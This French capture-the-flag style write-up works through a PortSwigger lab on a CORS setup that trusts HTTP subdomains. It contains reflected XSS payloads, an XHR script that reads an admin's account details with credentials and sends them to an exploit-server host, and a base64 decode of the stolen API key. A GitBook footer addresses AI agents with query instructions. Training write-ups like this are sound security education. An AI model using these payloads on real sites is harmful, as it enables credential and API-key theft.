> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/cors/cors-with-trusted-insecure-protocols.md).

# CORS avec protocoles non sécurisés approuvés

### Vulnérabilité CORS avec des protocoles non sécurisés approuvés

Le site a une configuration CORS vulnérable : il fait confiance à tous **les sous-domaines**, même lors de l'utilisation de **HTTP**. L'objectif est de récupérer la clé API de l'administrateur via CORS et de l'exfiltrer vers le serveur d'exploitation.

Identifiants fournis : `wiener:peter`.Le site a une configuration CORS vulnérable : il fait confiance à tous **les sous-domaines**, même lors de l'utilisation de **HTTP**. L'objectif est de récupérer la clé API de l'administrateur via CORS et de l'exfiltrer vers le serveur d'exploitation.

Identifiants fournis : `wiener:peter`.

#### Observations

* Le domaine racine est accepté dans **HTTP**:

{% code overflow="wrap" %}

```html
Origin: http://0a550036047e216980caa86b00fb0073.web-security-academy.net
```

{% endcode %}

<figure><img src="/files/4c06947ee6bdefaf9b65e1b35c6a90e91a41e313" alt=""><figcaption></figcaption></figure>

**Sous-domaines** en HTTP sont également acceptés :

{% code overflow="wrap" %}

```
Origin: http://jord4n.0a550036047e216980caa86b00fb0073.web-security-academy.net
```

{% endcode %}

<figure><img src="/files/56435d315f86a0510164dc7c04aaf84c64b95589" alt=""><figcaption></figcaption></figure>

Sous-domaine identifié via stockcheck :

{% code overflow="wrap" %}

```html
https://stock.0a550036047e216980caa86b00fb0073.web-security-academy.net/?productId=1&storeId=1
```

{% endcode %}

<figure><img src="/files/39756b012ec0c654b9fcff79303c99776f866333" alt=""><figcaption></figcaption></figure>

Cet élément reflète `productId` → \*\* injection HTML/JS\*\* possible :

```html
?productId=test&storeId=1
```

<figure><img src="/files/d1b9dc7702d3d196b0b6f07cf29151f05c39edbd" alt=""><figcaption></figcaption></figure>

```html
?productId=<h1>hello</h1>&storeId=1
?productId=<script>alert(0)</script>&storeId=1
```

<figure><img src="/files/d50b851fea1d1d3f0c9171100f0a6751c30bc723" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/b2a4ef94c95c3c6b49755ee8a5042b44b431a344" alt=""><figcaption></figcaption></figure>

#### Exploitation : lecture de `/accountDetails` et exfiltration

Script XHR utilisé (envoyé via le sous-domaine) :

```javascript
<script>
  var req=new XMLHttpRequest();
  req.onload = function(){
     location = 'https://exploit-0a1d009204a3210b802ca7e301e500cd.exploit-server.net/?apiKey=' %2b btoa(req.responseText);
};
  req.open('GET', 'https://0a550036047e216980caa86b00fb0073.web-security-academy.net/accountDetails', true);
  req.withCredentials = true;
  req.send();
</script>
```

Injecter le script dans le `productId` paramètre du sous-domaine vulnérable :

```javascript
https://stock.0a550036047e216980caa86b00fb0073.web-security-academy.net/?productId=<script>
  var req=new XMLHttpRequest();
  req.onload = function(){
     location = 'https://exploit-0a1d009204a3210b802ca7e301e500cd.exploit-server.net/?apiKey=' %2b btoa(req.responseText);
};
  req.open('GET', 'https://0a550036047e216980caa86b00fb0073.web-security-academy.net/accountDetails', true);
  req.withCredentials = true;
  req.send();
</script>&storeId=1
```

Rediriger vers l'URL à exploiter avec la `apiKey` variable contenant la réponse encodée.

<figure><img src="/files/279ebe3ac84a77675ba161d440bd9f09ed73ef4a" alt=""><figcaption></figcaption></figure>

#### Charge utile envoyée à la victime (version encodée en URL)

```javascript
<script>
document.location = 'http://stock.0a550036047e216980caa86b00fb0073.web-security-academy.net/?productId=%3Cscript%3Evar%20req=new%20XMLHttpRequest();req.onload=function(){location=%27https://exploit-0a1d009204a3210b802ca7e301e500cd.exploit-server.net/?apiKey=%27%2bbtoa(req.responseText);};req.open(%27GET%27,%27https://0a550036047e216980caa86b00fb0073.web-security-academy.net/accountDetails%27,true);req.withCredentials=true;req.send();%3C//script%3E&storeId=1';
</script>
```

* Réception de la clé API sur le serveur à exploiter via le `apiKey` paramètre.

<figure><img src="/files/d7358c1b6fe5ffd144eb2d6d583efbf2ba276629" alt=""><figcaption></figcaption></figure>

* Décodage effectué avec :

```bash
echo -n "ewogICJ1c2VybmFtZSI6ICJhZG1pbmlzdHJhdG9yIiwKICAiZW1haWwiOiAiIiwKICAiYXBpa2V5IjogIllUY0ViOFFLb3F1SE90MTJ4bGt1M1ZoYTlFNk0wbDJIIiwKICAic2Vzc2lvbnMiOiBbCiAgICAiZ25yTGM2UDVEb01uQmxyUTczQ3l6SldBUnJzTXJpYlciCiAgXQp9" | base64 -d
```

<figure><img src="/files/b8624fc76d9e169198ee2f21bb407d775662e8fd" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/web/cors/cors-with-trusted-insecure-protocols.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
